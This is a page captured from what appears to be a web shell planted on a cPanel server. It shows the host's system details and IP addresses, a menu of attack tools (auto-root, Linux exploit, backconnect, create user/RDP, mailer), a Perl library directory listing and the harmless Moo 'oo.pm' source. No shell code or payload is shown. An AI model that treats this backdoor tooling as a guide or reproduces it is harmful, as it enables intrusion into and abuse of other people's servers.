Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.130.21
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
Algorithm
[ DIR ]
drwxr-xr-x
Any
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Authen
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Data
[ DIR ]
drwxr-xr-x
Date
[ DIR ]
drwxr-xr-x
Debconf
[ DIR ]
drwxr-xr-x
Debian
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Dpkg
[ DIR ]
drwxr-xr-x
DynaLoader
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Eval
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Font
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTML
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
MRO
[ DIR ]
drwxr-xr-x
Mail
[ DIR ]
drwxr-xr-x
Method
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Moo
[ DIR ]
drwxr-xr-x
MooX
[ DIR ]
drwxr-xr-x
NeedRestart
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Path
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Ref
[ DIR ]
drwxr-xr-x
Regexp
[ DIR ]
drwxr-xr-x
Reply
[ DIR ]
drwxr-xr-x
Role
[ DIR ]
drwxr-xr-x
Software
[ DIR ]
drwxr-xr-x
Sort
[ DIR ]
drwxr-xr-x
Sub
[ DIR ]
drwxr-xr-x
Sys
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
Try
[ DIR ]
drwxr-xr-x
Type
[ DIR ]
drwxr-xr-x
Types
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
WWW
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
libwww
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
namespace
[ DIR ]
drwxr-xr-x
strictures
[ DIR ]
drwxr-xr-x
DebianLinux.pm
5.28
KB
-rw-r--r--
Dpkg.pm
5.72
KB
-rw-r--r--
Expect.pm
53.62
KB
-rw-r--r--
Expect.pod
42.73
KB
-rw-r--r--
LWP.pm
21.18
KB
-rw-r--r--
MailTools.pm
458
B
-rw-r--r--
MailTools.pod
2.24
KB
-rw-r--r--
Moo.pm
33.55
KB
-rw-r--r--
NeedRestart.pm
5.88
KB
-rw-r--r--
Readonly.pm
27.58
KB
-rw-r--r--
TimeDate.pm
267
B
-rw-r--r--
URI.pm
34.13
KB
-rw-r--r--
oo.pm
1.3
KB
-rw-r--r--
strictures.pm
14.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : oo.pm
package oo; use strict; use warnings; use Moo::_Utils qw(_load_module); sub moo { print <<'EOMOO'; ______ < Moo! > ------ \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || EOMOO exit 0; } my $package; sub import { moo() if $0 eq '-'; $package = $_[1] || 'Class'; if ($package =~ s/^\+//) { _load_module($package); } my $line = (caller)[2] || 1; require Filter::Util::Call; my $done; Filter::Util::Call::filter_add(sub { if (!$done) { s{\A}{package $package;\nuse Moo;\n#line $line\n}; $done = 1; } return Filter::Util::Call::filter_read(); }); } 1; __END__ =head1 NAME oo - syntactic sugar for Moo oneliners =head1 SYNOPSIS perl -Moo=Foo -e 'has bar => ( is => q[ro], default => q[baz] ); print Foo->new->bar' # loads an existing class and re-"opens" the package definition perl -Moo=+My::Class -e 'print __PACKAGE__->new->bar' =head1 DESCRIPTION oo.pm is a simple source filter that adds C<package $name; use Moo;> to the beginning of your script, intended for use on the command line via the -M option. =head1 SUPPORT See L<Moo> for support and contact information. =head1 AUTHORS See L<Moo> for authors. =head1 COPYRIGHT AND LICENSE See L<Moo> for the copyright and license. =cut
Close